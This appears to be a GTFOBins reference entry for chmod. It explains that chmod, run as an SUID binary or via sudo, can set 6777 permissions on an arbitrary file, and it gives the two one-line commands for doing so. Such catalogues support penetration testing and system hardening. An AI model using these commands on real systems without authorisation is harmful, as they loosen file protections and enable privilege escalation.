GTFOBins.github.io/_gtfobins/chmod.md
2020-12-20 21:24:10 +01:00

325 B

description functions
This can be run with elevated privileges to change permissions (`6` denotes the SUID bits) and then read, write, or execute a file.
suid sudo
code
LFILE=file_to_change ./chmod 6777 $LFILE
code
LFILE=file_to_change sudo chmod 6777 $LFILE